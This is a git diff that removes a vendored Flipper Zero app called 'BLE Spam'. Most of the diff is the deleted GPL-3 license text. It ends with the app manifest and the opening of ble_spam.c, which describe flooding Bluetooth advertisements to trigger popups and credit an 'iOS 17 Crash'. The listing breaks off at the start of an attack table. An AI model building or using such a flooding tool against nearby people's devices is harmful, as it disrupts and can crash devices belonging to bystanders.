More ported apps
674
applications/external/ble_spam/LICENSE
vendored
@@ -1,674 +0,0 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
15
applications/external/ble_spam/application.fam
vendored
@@ -1,15 +0,0 @@
|
||||
App(
|
||||
appid="ble_spam",
|
||||
name="BLE Spam",
|
||||
apptype=FlipperAppType.EXTERNAL,
|
||||
entry_point="ble_spam",
|
||||
stack_size=4 * 1024,
|
||||
fap_icon="ble_spam_10px.png",
|
||||
fap_category="Bluetooth",
|
||||
fap_author="@Willy-JL @ECTO-1A @Spooks4576",
|
||||
fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam",
|
||||
fap_version="2.0",
|
||||
fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications",
|
||||
fap_icon_assets="icons",
|
||||
fap_icon_assets_symbol="ble_spam",
|
||||
)
|
||||
390
applications/external/ble_spam/ble_spam.c
vendored
@@ -1,390 +0,0 @@
|
||||
#include <gui/gui.h>
|
||||
#include <furi_hal_bt.h>
|
||||
#include <gui/elements.h>
|
||||
|
||||
#include "protocols/_registry.h"
|
||||
|
||||
// Hacked together by @Willy-JL
|
||||
// Custom adv API by @Willy-JL (idea by @xMasterX)
|
||||
// iOS 17 Crash by @ECTO-1A
|
||||
// Android and Windows Pairs by @Spooks4576 and @ECTO-1A
|
||||
// Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
|
||||
// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
|
||||
|
||||
typedef struct {
|
||||
bool random_mac;
|
||||
const BleSpamProtocol* protocol;
|
||||
BleSpamMsg msg;
|
||||
} Payload;
|
||||
|
||||
typedef struct {
|
||||
const char* title;
|
||||
const char* text;
|
||||
Payload payload;
|
||||
} Attack;
|
||||
|
||||
static Attack attacks[] = {
|
||||
{
|
||||
.title = "+ Kitchen Sink",
|
||||
.text = "Flood all attacks at once",
|
||||
.payload =
|
||||
{
|
||||
.random_mac = true,
|
||||
.protocol = NULL,
|
||||
.msg = {},
|
||||
},
|
||||
},
|
||||
{
|
||||
